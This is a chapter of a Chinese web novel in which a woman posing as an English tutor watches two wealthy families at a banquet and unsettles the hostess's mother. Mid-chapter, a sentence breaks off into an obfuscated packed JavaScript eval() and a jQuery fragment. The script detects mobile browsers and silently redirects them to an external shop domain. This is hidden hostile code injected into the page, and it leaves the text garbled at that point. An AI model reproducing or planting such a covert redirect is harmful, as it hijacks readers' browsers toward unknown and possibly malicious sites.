今晚的晚宴主题是破茧成蝶。整个会场是白色的,满场绽放的鲜花和五彩斑斓的小蝴蝶。
一进会场,银阙就觉得这里有些潮湿的热,像是步入了热带,与外面的冬季形成鲜明的对比。
银阙找到了自己的位置坐下,她今天与小主人思灵同桌,就坐她旁边。
坐下看到圆桌中间的花束上有一只碎斑青凤蝶,正慢悠悠地扑扇着翅膀。是真蝴蝶呢。
难怪会觉得空气湿润温暖,原来是为迁就蝴蝶。只是迁就了蝴蝶,会场虽然有鲜花的沁人馨香,但无法完全压住闷热。
银阙想这样也好,场内闷热,如果今晚不太顺利,她也可以借口闷热导致身体不适提前离开,灵活应对。
银阙来得算早的。坐在桌前托着下巴,以漫不经心的状态,认真观察看进会场的每一个人。
在人到了差不多一半的时候,一对十分引人注目的父子走了进来。银阙一眼就认出那个跟在后面的年轻男人,是思灵的心上人晏思齐,而那个走在他前面,满面春风的中年男人,应该是他的父亲晏甫。
晏甫气质风流,晏思齐气质嚣张,这父子俩长得并不很像。
晏甫在她的邻桌落座,而晏思齐则来到了银阙在的这个圆桌,在与银阙隔一个座位的位置上坐了下来。
银阙见过晏思齐的照片。
他本人与照片有差异,一如思灵所说,他有一双极其完美的桃花眼与深邃的五官,睫毛长且浓密,因其神情自带的不屑,让他看起来有些侵略性。
而在银阙看晏思齐的时候,晏思齐也在看她。
他上下打量了银阙一番,又多看了几眼,那眼神分明是认出了她。
银阙并不觉得晏思齐有什么问题,他认得自己,多半和自己认得他一样,都是拜思灵这个小朋友所赐。
银阙挪开视线,但心中却犯嘀咕。
她依然觉得晏思齐和思灵有些像,从容貌上来说,像是有些血缘的样子。
银阙皱了皱眉。她知道莫晏两家交好,长得像是因为他们的母亲有血缘关系吗?
应该不会,如果有,两人就是表兄妹,思灵又怎么会迷恋上他?
晏家和莫家的事,思灵在和她唠叨晏思齐的时候,说起过一些八卦。
莫家,尤其是莫思量的父亲莫时迁与晏思齐的父亲晏甫十分交好。晏思齐打小就跟着莫思量混,和思灵很熟,算是青梅竹马。
晏思齐的父亲晏甫生得风流倜傥,桃花不断,是出了名的花花公子。据说晏家公司就是晏甫的后宫,姿色上乘的女员工都被他翻过牌子。不仅如此,他在海外做生意时,每去一个国家就会拿下一个女人,在世界各地都有“老婆”。
但晏思齐的母亲,当年是个明星,正当红时一意孤行嫁了晏甫,嫁了之后才知道他的本性,两人貌合神离,但也没有离婚。
晏思齐的母亲走后,晏甫虽未再娶妻,但风流不减。他极其享受这种无人约束的日子,反而玩得更肆无忌惮。
银阙又借着扫视全场看了看晏甫。晏甫正在与人谈笑风生,看起来是与旁边那桌的人都十分熟悉的模样。
她看着他的容貌,心中更奇怪了。在银阙看来,晏甫的和晏思齐并不像,像是压根不是父子。
人陆陆续续到场,大家都聊起天来。
银阙今天来的目的主要是观察莫家和丁家的人,并无心聊天。但她是安排在思灵身边坐的人,桌上的人对她很好奇,就都找她聊天。
桌上几个女孩儿东一句西一句地问银阙问题,银阙都一一答了。几个人没想到银阙是在新西兰长大的,还是思灵的英语老师。老师和同学把关系处成亲姐妹的还真是不多见,几个人越问越好奇,最后一桌子的话题都在围着银阙转。
当话题几乎全部转到银阙这里之后,晏思齐就没再说话。他靠着椅背,饶有兴致地听着她们“盘问”银阙,满脸的感兴趣。
直到莫家今晚的主角登场,他们才结束了谈话,齐齐看了过去。
今晚的主角是思灵,陪同思灵一起入场的,一个是她的爷爷,莫家的老爷子莫儒民,另一个是她妈妈,丁宜。丁宜手上还牵着一个七八岁大的小男孩,一看就是思灵的弟弟,莫思宥。俩人长得十分像。
思灵穿着她的蓬蓬裙,头戴公主王冠,挽着她爷爷莫儒民的胳膊笑着和大家打招呼。进场之后,她直接奔着银阙这桌来了。莫儒民和丁宜都坐在了晏甫那桌。
思灵在银阙与晏思齐中间的空位坐下,她和银阙互相呼应的姐妹装,让人一眼就看出了宴席主人对银阙的偏爱。
许多人在看思灵的时候,也顺着看了看她。
丁宜也朝她看过来,银阙与她对视了一下。
现场光线斑驳,蝴蝶扑翅翩跹。丁宜没什么特别的反应,像是没认出她来。丁宜和莫儒民中间夹着莫思宥,她正在越过莫思宥的头顶,在跟莫老爷子笑着说着什么。
丁宜看起来极其年轻,如果不是银阙知道丁宜是思灵的母亲,说她不到三十岁,银阙都信。
她穿着一件剪裁讲究的素雅旗袍,胸腰都收得曲线玲珑。她身材保持得极窈窕,完全看不出是生过两个孩子的女人。
她另一边坐着晏甫,两人似也很熟,一直在笑着聊着什么。
“鹿森姐,这条裙子可真配你,太好看了!我就说你穿着绝对漂亮。”
思灵一坐下,就拉着银阙夸东夸西,把晏思齐都晾在了一边。
银阙把目光从丁宜和晏甫处收回:“是我们小思灵的功劳,眼光真好。”
“你怎么没戴着给你准备的首饰呀。”
“我这样就行,今晚我也不是主角,简单点儿吧。”
思灵看拦着抱着银阙的腰:“你不用顾虑我,我想让你全场最美!”
思灵抬头看了看场子,有些失望地说:“唉呀,可惜了。”
“可惜什么?”银阙问。
“没什么,他一会儿就来。”
银阙听着思灵的意思像是有什么特别安排,想问谁一会儿要来,还没问出口,思灵就已经拉住了她的胳膊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17803298|206248||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
趁晚宴还没开始,思灵拉着银阙去认识一下亲朋好友。她先拉着她去的旁边桌见她爷爷。
她们走过去过去跟莫儒民打了招呼,思灵伏在莫儒民耳边说着什么,末了,眼睛一弯,问:“爷爷,好吗?”
莫儒民面色惊讶,笑呵呵道:“这我说了不算,得问你哥。他挑剔。”
银阙不知他们在说什么悄悄话,便娴静站在一边。
这桌做的坐的都近亲,思灵特意带了银阙来介绍,需要多人都在大量银阙,这其中也包括丁宜。
丁宜起初是笑着的,脸上的血色,却逐渐褪了。
银阙正微笑恭敬地听莫老说话,抬眼看了一下丁宜。她这一眼抬落极快,但眼神却十足很锋利。
丁宜连忙闪了目光,拿过过桌面上的杯子,掩饰地喝了一大口。
“怎么了?”晏甫轻贴过来问她。
她摇摇头,抿出一个比哭还难看的笑来。
思灵跟莫儒民说完话,又拉着银阙来见她妈妈。
“妈!这就是Lusine老师!”思灵亲密挽着银阙的胳膊来到丁宜身边,她们看起来就像一对亲姐妹,“上次她来家里你们没见到,今天终于见到了。”
银阙好似惊喜地看着丁宜,她微微睁大眼睛,露出欣喜又无辜的微笑,她向她伸出手:“阿姨您好,我是Lusine。终于见到您了。”
丁宜嘴角扯出一个尴尬的笑,伸手和银阙握了一下。
丁宜的手心汗津津的,手指冰凉,愈发衬得银阙的手温热干燥,毫无异样。
银阙面上带笑,默不作声收回手。
近看丁宜并不如远看那般年轻,虽然她五官秀丽,肌肤紧致,苹果肌饱满,但脸上有很明显的人工痕迹,连双眼皮都加深过。像她这个年龄的富家太太,花大价钱保住青春的很多,但如她这样往幼态整容的却不多。她并非不甘心衰老,更是希望自己愈发美丽。
“灵灵的英语多亏了你,她能拿到K大offer,你功不可没。”丁宜强撑着笑和她寒暄,“你是新西兰华人?”
“我半岁就去了新西兰,在那边长大的。”
听说她半岁就去了新西兰,丁宜一脸大松口气的模样:“Lusine老师有中文名吗?在国内还是喊中文名方便。”
还没等银阙回答,思灵先插了句嘴:“妈妈,叫她鹿森!我都叫她鹿森姐。”
“你这孩子,没大没小,怎么乱给人起外号。”丁宜轻嗔,“Lusine老师别见怪。”
银阙笑笑,目光平视着丁宜,慢慢道:“没关系的阿姨,叫什么都行,我中文名不常用,就叫我鹿森吧。”
“鹿森好听。”
丁宜强装镇定笑笑坐下。银阙默不作声观察着丁宜,抬眼时,却不期碰到晏甫的视线。后者目光闪得极快,银阙只碰到了一点儿。
她心中一凛。
晏甫为什么看着她?
银阙在那一瞬间,心中升腾起一种感觉:
晏甫知道她。